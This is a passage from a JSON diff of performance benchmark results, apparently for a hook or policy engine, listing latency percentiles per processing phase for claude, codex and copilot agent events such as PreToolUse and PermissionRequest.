+ "encode": [ + 0.26, + 0.28, + 0.41 + ], + "other": [ + 1.52, + 1.81, + 1.91 + ], + "e2e": [ + 68.65, + 76.24, + 78.17 + ] + }, + "e2eMean": 68.84, + "e2eStddev": 3.95, + "e2eMin": 62.22, + "e2eMax": 78.17 + }, + "claude|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.99, + 65.19, + 66.78 + ], + "configLoad": [ + 3.96, + 7.9, + 8.18 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.55, + 1.7, + 1.81 + ], + "e2e": [ + 66.38, + 72.38, + 74.45 + ] + }, + "e2eMean": 66.75, + "e2eStddev": 2.93, + "e2eMin": 62.21, + "e2eMax": 74.45 + }, + "claude|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.85, + 65, + 66.49 + ], + "configLoad": [ + 4.04, + 6.89, + 7.32 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.47 + ], + "other": [ + 1.54, + 2.09, + 3.79 + ], + "e2e": [ + 67.05, + 70.86, + 72.52 + ] + }, + "e2eMean": 67.32, + "e2eStddev": 2.19, + "e2eMin": 62.24, + "e2eMax": 72.52 + }, + "claude|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.58, + 65.68, + 72.92 + ], + "configLoad": [ + 3.98, + 4.36, + 8.19 + ], + "evaluate": [ + 0.14, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.58, + 1.82, + 3.24 + ], + "e2e": [ + 67.54, + 71.51, + 79.03 + ] + }, + "e2eMean": 67.35, + "e2eStddev": 3.24, + "e2eMin": 60.81, + "e2eMax": 79.03 + }, + "claude|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.61, + 65.83, + 69.11 + ], + "configLoad": [ + 3.96, + 7.1, + 7.59 + ], + "evaluate": [ + 0.15, + 0.16, + 0.2 + ], + "encode": [ + 0.25, + 0.28, + 0.41 + ], + "other": [ + 1.53, + 1.7, + 1.75 + ], + "e2e": [ + 67.87, + 71.45, + 75.21 + ] + }, + "e2eMean": 67.91, + "e2eStddev": 2.48, + "e2eMin": 63.13, + "e2eMax": 75.21 + }, + "claude|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.03, + 65.3, + 66.27 + ], + "configLoad": [ + 4.03, + 7.02, + 7.54 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.58, + 1.79, + 1.97 + ], + "e2e": [ + 67.11, + 71.41, + 75.93 + ] + }, + "e2eMean": 67.17, + "e2eStddev": 2.65, + "e2eMin": 62.21, + "e2eMax": 75.93 + }, + "claude|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.38, + 64.32, + 70.72 + ], + "configLoad": [ + 3.99, + 5.03, + 7.66 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.53, + 1.76, + 1.92 + ], + "e2e": [ + 67.35, + 71.43, + 75.61 + ] + }, + "e2eMean": 67.23, + "e2eStddev": 2.53, + "e2eMin": 62.99, + "e2eMax": 75.61 + }, + "claude|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.74, + 64.53, + 66.55 + ], + "configLoad": [ + 4.16, + 7.05, + 7.75 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.26, + 0.29, + 0.34 + ], + "other": [ + 1.56, + 1.86, + 1.88 + ], + "e2e": [ + 66.99, + 71.85, + 72.64 + ] + }, + "e2eMean": 66.85, + "e2eStddev": 2.49, + "e2eMin": 61.42, + "e2eMax": 72.64 + }, + "claude|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.01, + 66.96, + 67.57 + ], + "configLoad": [ + 3.88, + 5.19, + 7.85 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.26, + 0.29, + 0.4 + ], + "other": [ + 1.59, + 1.78, + 3.94 + ], + "e2e": [ + 66.8, + 73.24, + 73.66 + ] + }, + "e2eMean": 67.23, + "e2eStddev": 3.03, + "e2eMin": 60.65, + "e2eMax": 73.66 + }, + "claude|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.02, + 65.89, + 73.78 + ], + "configLoad": [ + 4, + 7.16, + 7.52 + ], + "evaluate": [ + 0.14, + 0.15, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.61, + 1.76, + 1.96 + ], + "e2e": [ + 67.14, + 72.01, + 79.74 + ] + }, + "e2eMean": 67.6, + "e2eStddev": 2.91, + "e2eMin": 62.96, + "e2eMax": 79.74 + }, + "codex|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.26, + 65.63, + 66.08 + ], + "configLoad": [ + 4.08, + 7.21, + 8.43 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 1.86, + 2.14, + 2.26 + ], + "e2e": [ + 67.03, + 71.93, + 72.55 + ] + }, + "e2eMean": 67.05, + "e2eStddev": 2.53, + "e2eMin": 61.65, + "e2eMax": 72.55 + }, + "codex|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.93, + 64.42, + 66.28 + ], + "configLoad": [ + 4.04, + 4.94, + 7.5 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.87, + 2.09, + 2.14 + ], + "e2e": [ + 66.19, + 70.83, + 72.64 + ] + }, + "e2eMean": 66.59, + "e2eStddev": 2.36, + "e2eMin": 62.39, + "e2eMax": 72.64 + }, + "codex|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.68, + 66.37, + 67.45 + ], + "configLoad": [ + 4, + 4.7, + 8.03 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.33 + ], + "other": [ + 1.84, + 2.19, + 4.26 + ], + "e2e": [ + 67.3, + 73.37, + 74.74 + ] + }, + "e2eMean": 67.64, + "e2eStddev": 3.19, + "e2eMin": 61.65, + "e2eMax": 74.74 + }, + "codex|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 60.27, + 65.79, + 71.55 + ], + "configLoad": [ + 3.95, + 5.71, + 7.13 + ], + "evaluate": [ + 1.1, + 1.18, + 1.76 + ], + "encode": [ + 0.26, + 0.27, + 0.38 + ], + "other": [ + 1.88, + 2.11, + 2.27 + ], + "e2e": [ + 68.11, + 72.75, + 78.67 + ] + }, + "e2eMean": 68.18, + "e2eStddev": 3.09, + "e2eMin": 63.12, + "e2eMax": 78.67 + }, + "codex|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 60.56, + 64.55, + 65.66 + ], + "configLoad": [ + 3.99, + 6.6, + 7.22 + ], + "evaluate": [ + 0.29, + 0.32, + 0.37 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 1.87, + 2.11, + 2.13 + ], + "e2e": [ + 67.17, + 71.06, + 72.53 + ] + }, + "e2eMean": 67.29, + "e2eStddev": 2.58, + "e2eMin": 61.89, + "e2eMax": 72.53 + }, + "codex|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.84, + 64.4, + 67.49 + ], + "configLoad": [ + 4.08, + 7.83, + 8.29 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.9, + 2.16, + 2.19 + ], + "e2e": [ + 66.95, + 72.23, + 73.77 + ] + }, + "e2eMean": 67.15, + "e2eStddev": 2.52, + "e2eMin": 62.92, + "e2eMax": 73.77 + }, + "codex|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 61.2, + 65.94, + 70.53 + ], + "configLoad": [ + 4.04, + 7.12, + 7.22 + ], + "evaluate": [ + 0.63, + 0.67, + 0.69 + ], + "encode": [ + 0.26, + 0.28, + 0.28 + ], + "other": [ + 1.83, + 2.1, + 3.88 + ], + "e2e": [ + 67.64, + 72.97, + 77.29 + ] + }, + "e2eMean": 68.14, + "e2eStddev": 2.92, + "e2eMin": 62.11, + "e2eMax": 77.29 + }, + "codex|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.15, + 66.11, + 68.12 + ], + "configLoad": [ + 4.05, + 7.62, + 42.03 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.9, + 3.99, + 4.61 + ], + "e2e": [ + 66.62, + 73.06, + 107.39 + ] + }, + "e2eMean": 67.82, + "e2eStddev": 6.35, + "e2eMin": 61.85, + "e2eMax": 107.39 + }, + "codex|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.2, + 64.69, + 65.39 + ], + "configLoad": [ + 4.04, + 7.22, + 7.8 + ], + "evaluate": [ + 0.14, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 1.88, + 2.15, + 2.24 + ], + "e2e": [ + 66.68, + 71.13, + 73.42 + ] + }, + "e2eMean": 66.87, + "e2eStddev": 2.54, + "e2eMin": 61.54, + "e2eMax": 73.42 + }, + "codex|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.8, + 66.84, + 69.5 + ], + "configLoad": [ + 3.95, + 7.25, + 38.03 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.87, + 2.16, + 3.99 + ], + "e2e": [ + 67.23, + 73.31, + 103.7 + ] + }, + "e2eMean": 68.23, + "e2eStddev": 5.86, + "e2eMin": 61.04, + "e2eMax": 103.7 + }, + "codex|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.74, + 65.43, + 68.71 + ], + "configLoad": [ + 3.96, + 4.47, + 38.54 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.85, + 2.1, + 3.73 + ], + "e2e": [ + 67.19, + 72.64, + 99.68 + ] + }, + "e2eMean": 67.56, + "e2eStddev": 5.35, + "e2eMin": 61.64, + "e2eMax": 99.68 + }, + "codex|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.1, + 66.16, + 89.56 + ], + "configLoad": [ + 4.12, + 7.4, + 9.57 + ], + "evaluate": [ + 0.14, + 0.23, + 0.26 + ], + "encode": [ + 0.25, + 0.4, + 0.4 + ], + "other": [ + 1.93, + 2.17, + 2.53 + ], + "e2e": [ + 68.53, + 72.87, + 98.05 + ] + }, + "e2eMean": 68.8, + "e2eStddev": 4.94, + "e2eMin": 63.32, + "e2eMax": 98.05 + }, + "codex|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.85, + 66.19, + 73.08 + ], + "configLoad": [ + 4.12, + 7.25, + 38.21 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.87, + 3.85, + 4.32 + ], + "e2e": [ + 67.75, + 75.25, + 100.89 + ] + }, + "e2eMean": 68.54, + "e2eStddev": 5.68, + "e2eMin": 61.88, + "e2eMax": 100.89 + }, + "codex|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.91, + 66.55, + 68.8 + ], + "configLoad": [ + 4.01, + 7.54, + 38.17 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 1.88, + 2.15, + 3.76 + ], + "e2e": [ + 66.49, + 73.24, + 107.14 + ] + }, + "e2eMean": 67.73, + "e2eStddev": 6.35, + "e2eMin": 60.72, + "e2eMax": 107.14 + }, + "codex|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.41, + 63.93, + 64.05 + ], + "configLoad": [ + 4.04, + 4.81, + 38.24 + ], + "evaluate": [ + 0.15, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.88, + 2.14, + 3.95 + ], + "e2e": [ + 66.93, + 70.45, + 100.44 + ] + }, + "e2eMean": 67.4, + "e2eStddev": 5.28, + "e2eMin": 61.99, + "e2eMax": 100.44 + }, + "codex|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.1, + 68.71, + 71.17 + ], + "configLoad": [ + 4.03, + 4.49, + 7.95 + ], + "evaluate": [ + 0.15, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.81, + 2.05, + 2.13 + ], + "e2e": [ + 67.51, + 74.68, + 77.32 + ] + }, + "e2eMean": 67.78, + "e2eStddev": 3.17, + "e2eMin": 61.39, + "e2eMax": 77.32 + }, + "codex|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.49, + 65.16, + 67.6 + ], + "configLoad": [ + 4, + 7.21, + 37.89 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 1.84, + 2.16, + 4.07 + ], + "e2e": [ + 67.62, + 73.81, + 104.48 + ] + }, + "e2eMean": 68.15, + "e2eStddev": 5.97, + "e2eMin": 62.62, + "e2eMax": 104.48 + }, + "codex|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.8, + 64.95, + 67.15 + ], + "configLoad": [ + 4.01, + 7.51, + 38.8 + ], + "evaluate": [ + 0.14, + 0.16, + 0.28 + ], + "encode": [ + 0.25, + 0.28, + 0.44 + ], + "other": [ + 1.88, + 2.12, + 3.78 + ], + "e2e": [ + 67.15, + 75.63, + 103.68 + ] + }, + "e2eMean": 68.88, + "e2eStddev": 7.56, + "e2eMin": 61.92, + "e2eMax": 103.68 + }, + "codex|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.79, + 64.35, + 68 + ], + "configLoad": [ + 4.09, + 4.91, + 38.29 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.9, + 2.1, + 4.22 + ], + "e2e": [ + 67.32, + 71.19, + 103.17 + ] + }, + "e2eMean": 67.88, + "e2eStddev": 5.64, + "e2eMin": 62.95, + "e2eMax": 103.17 + }, + "codex|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.73, + 65.06, + 76.39 + ], + "configLoad": [ + 4.02, + 5.87, + 38.43 + ], + "evaluate": [ + 0.15, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.86, + 2.2, + 5.15 + ], + "e2e": [ + 66.57, + 76.15, + 99.88 + ] + }, + "e2eMean": 67.63, + "e2eStddev": 5.78, + "e2eMin": 61.57, + "e2eMax": 99.88 + }, + "codex|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.62, + 66, + 67.19 + ], + "configLoad": [ + 4.06, + 7.23, + 38.09 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.84, + 2.1, + 4.06 + ], + "e2e": [ + 66.87, + 72.96, + 103.24 + ] + }, + "e2eMean": 68.05, + "e2eStddev": 5.78, + "e2eMin": 61.81, + "e2eMax": 103.24 + }, + "codex|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.09, + 65.77, + 68.5 + ], + "configLoad": [ + 4, + 7.48, + 41.14 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.9, + 2.14, + 3.59 + ], + "e2e": [ + 66.38, + 73.42, + 106.09 + ] + }, + "e2eMean": 68.09, + "e2eStddev": 6.1, + "e2eMin": 62.15, + "e2eMax": 106.09 + }, + "codex|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.94, + 63.29, + 64.39 + ], + "configLoad": [ + 4.02, + 7.09, + 10.72 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.85, + 2.09, + 2.22 + ], + "e2e": [ + 66.85, + 69.67, + 72.97 + ] + }, + "e2eMean": 66.6, + "e2eStddev": 2.31, + "e2eMin": 60.96, + "e2eMax": 72.97 + }, + "codex|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.72, + 66.49, + 69.39 + ], + "configLoad": [ + 3.98, + 4.92, + 37.94 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.25, + 0.26, + 0.41 + ], + "other": [ + 1.87, + 2.03, + 3.64 + ], + "e2e": [ + 66.59, + 72.37, + 103 + ] + }, + "e2eMean": 68.11, + "e2eStddev": 5.81, + "e2eMin": 62.8, + "e2eMax": 103 + }, + "codex|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.07, + 66.08, + 71.31 + ], + "configLoad": [ + 4.02, + 6.9, + 7.16 + ], + "evaluate": [ + 0.14, + 0.17, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.38 + ], + "other": [ + 1.85, + 2.07, + 2.25 + ], + "e2e": [ + 66.79, + 72.35, + 77.37 + ] + }, + "e2eMean": 67.07, + "e2eStddev": 2.98, + "e2eMin": 62.13, + "e2eMax": 77.37 + }, + "codex|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.67, + 66.37, + 66.85 + ], + "configLoad": [ + 4.09, + 7.99, + 40.64 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.38 + ], + "other": [ + 1.89, + 2.29, + 4.05 + ], + "e2e": [ + 66.88, + 73.27, + 104.19 + ] + }, + "e2eMean": 68.54, + "e2eStddev": 7.66, + "e2eMin": 60.5, + "e2eMax": 104.19 + }, + "codex|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.2, + 64.13, + 66.21 + ], + "configLoad": [ + 4.05, + 4.86, + 8.24 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.93, + 2.19, + 4.38 + ], + "e2e": [ + 66.68, + 71.89, + 73.48 + ] + }, + "e2eMean": 66.94, + "e2eStddev": 2.39, + "e2eMin": 61.24, + "e2eMax": 73.48 + }, + "codex|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.95, + 65.27, + 66.71 + ], + "configLoad": [ + 4.07, + 7.52, + 7.72 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 1.89, + 2.11, + 2.18 + ], + "e2e": [ + 66.86, + 71.9, + 72.12 + ] + }, + "e2eMean": 66.77, + "e2eStddev": 2.64, + "e2eMin": 61.8, + "e2eMax": 72.12 + }, + "codex|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.6, + 63.59, + 64.66 + ], + "configLoad": [ + 4.03, + 7.37, + 7.76 + ], + "evaluate": [ + 0.14, + 0.17, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.85, + 2.02, + 2.04 + ], + "e2e": [ + 67.04, + 70.64, + 71.5 + ] + }, + "e2eMean": 66.95, + "e2eStddev": 2.29, + "e2eMin": 61.71, + "e2eMax": 71.5 + }, + "copilot|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.39, + 63.1, + 64.32 + ], + "configLoad": [ + 4.02, + 7.3, + 38.62 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.58, + 1.88, + 3.67 + ], + "e2e": [ + 66.22, + 70.45, + 100.48 + ] + }, + "e2eMean": 66.76, + "e2eStddev": 5.36, + "e2eMin": 61.42, + "e2eMax": 100.48 + }, + "copilot|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.17, + 63.88, + 65.72 + ], + "configLoad": [ + 4.09, + 7.31, + 38.31 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.55, + 1.8, + 2.81 + ], + "e2e": [ + 66.38, + 70.06, + 98.84 + ] + }, + "e2eMean": 66.87, + "e2eStddev": 5.14, + "e2eMin": 61.34, + "e2eMax": 98.84 + }, + "copilot|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.23, + 63.81, + 67.81 + ], + "configLoad": [ + 4.06, + 7.57, + 24.77 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.55, + 1.75, + 1.92 + ], + "e2e": [ + 66.48, + 70.35, + 86.97 + ] + }, + "e2eMean": 66.8, + "e2eStddev": 3.84, + "e2eMin": 62, + "e2eMax": 86.97 + }, + "copilot|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 60.22, + 66.19, + 68.42 + ], + "configLoad": [ + 3.89, + 6.96, + 37.17 + ], + "evaluate": [ + 1.13, + 1.18, + 1.22 + ], + "encode": [ + 0.25, + 0.28, + 0.32 + ], + "other": [ + 1.58, + 1.87, + 3.93 + ], + "e2e": [ + 67.64, + 73.72, + 107.82 + ] + }, + "e2eMean": 68.47, + "e2eStddev": 6.34, + "e2eMin": 61.42, + "e2eMax": 107.82 + }, + "copilot|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 60.05, + 64.98, + 66.08 + ], + "configLoad": [ + 3.9, + 7.39, + 7.56 + ], + "evaluate": [ + 0.29, + 0.31, + 0.31 + ], + "encode": [ + 0.25, + 0.27, + 0.31 + ], + "other": [ + 1.57, + 1.78, + 1.81 + ], + "e2e": [ + 66.92, + 71.25, + 72.52 + ] + }, + "e2eMean": 66.63, + "e2eStddev": 2.73, + "e2eMin": 60.77, + "e2eMax": 72.52 + }, + "copilot|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.93, + 65.78, + 67.29 + ], + "configLoad": [ + 4.09, + 7.16, + 7.23 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.63, + 1.9, + 3.19 + ], + "e2e": [ + 66.74, + 72.02, + 73.54 + ] + }, + "e2eMean": 66.98, + "e2eStddev": 2.57, + "e2eMin": 61.99, + "e2eMax": 73.54 + }, + "copilot|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 60.19, + 64.89, + 65.85 + ], + "configLoad": [ + 4.12, + 7.08, + 7.42 + ], + "evaluate": [ + 0.64, + 0.68, + 0.71 + ], + "encode": [ + 0.26, + 0.28, + 0.29 + ], + "other": [ + 1.62, + 1.76, + 4.16 + ], + "e2e": [ + 67.45, + 71.78, + 72.61 + ] + }, + "e2eMean": 67.27, + "e2eStddev": 2.77, + "e2eMin": 61.72, + "e2eMax": 72.61 + }, + "copilot|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.73, + 66.09, + 68.86 + ], + "configLoad": [ + 3.99, + 6.64, + 7.18 + ], + "evaluate": [ + 0.14, + 0.15, + 0.15 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.59, + 1.87, + 1.97 + ], + "e2e": [ + 65.91, + 72.07, + 74.82 + ] + }, + "e2eMean": 66.53, + "e2eStddev": 2.67, + "e2eMin": 61.74, + "e2eMax": 74.82 + }, + "copilot|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.77, + 64.4, + 65.53 + ], + "configLoad": [ + 4, + 7.08, + 8.52 + ], + "evaluate": [ + 0.14, + 0.15, + 0.17 + ], + "encode": [ + 0.25, + 0.26, + 0.29 + ], + "other": [ + 1.61, + 1.83, + 1.84 + ], + "e2e": [ + 66.7, + 70.79, + 73.5 + ] + }, + "e2eMean": 66.51, + "e2eStddev": 2.59, + "e2eMin": 60.76, + "e2eMax": 73.5 + }, + "copilot|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.39, + 64.59, + 66.74 + ], + "configLoad": [ + 4.04, + 4.9, + 7.47 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.58, + 1.77, + 1.78 + ], + "e2e": [ + 66.49, + 70.68, + 72.77 + ] + }, + "e2eMean": 66.79, + "e2eStddev": 2.27, + "e2eMin": 62.99, + "e2eMax": 72.77 + }, + "copilot|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.04, + 63.39, + 66.85 + ], + "configLoad": [ + 4.09, + 6.98, + 37.43 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.26, + 0.27, + 0.27 + ], + "other": [ + 1.6, + 1.79, + 2.65 + ], + "e2e": [ + 66.35, + 73.06, + 98.28 + ] + }, + "e2eMean": 67.7, + "e2eStddev": 6.54, + "e2eMin": 62.06, + "e2eMax": 98.28 + }, + "copilot|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.13, + 64.33, + 68.24 + ], + "configLoad": [ + 4.07, + 7.43, + 37.19 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.58, + 1.82, + 3.36 + ], + "e2e": [ + 66.76, + 72.81, + 103.51 + ] + }, + "e2eMean": 67.39, + "e2eStddev": 5.96, + "e2eMin": 61.9, + "e2eMax": 103.51 + }, + "copilot|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.15, + 64.49, + 65.32 + ], + "configLoad": [ + 3.94, + 7.44, + 37.42 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.41 + ], + "other": [ + 1.62, + 1.89, + 3.33 + ], + "e2e": [ + 66.23, + 71.38, + 104.51 + ] + }, + "e2eMean": 67.92, + "e2eStddev": 7.35, + "e2eMin": 60.97, + "e2eMax": 104.51 + }, + "copilot|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.62, + 65.76, + 68.24 + ], + "configLoad": [ + 4.09, + 7.4, + 7.65 + ], + "evaluate": [ + 0.14, + 0.15, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.58, + 1.74, + 1.83 + ], + "e2e": [ + 66.86, + 71.65, + 74.27 + ] + }, + "e2eMean": 66.94, + "e2eStddev": 2.65, + "e2eMin": 62.55, + "e2eMax": 74.27 + }, + "copilot|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.64, + 66.76, + 71 + ], + "configLoad": [ + 4.1, + 7.16, + 8.19 + ], + "evaluate": [ + 0.14, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 1.62, + 1.75, + 1.85 + ], + "e2e": [ + 66.68, + 76.33, + 77.25 + ] + }, + "e2eMean": 67.39, + "e2eStddev": 3.26, + "e2eMin": 61.74, + "e2eMax": 77.25 + }, + "copilot|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.03, + 64.85, + 65.9 + ], + "configLoad": [ + 4.13, + 7.42, + 38.54 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.56, + 1.85, + 4.06 + ], + "e2e": [ + 66.91, + 71.46, + 102.69 + ] + }, + 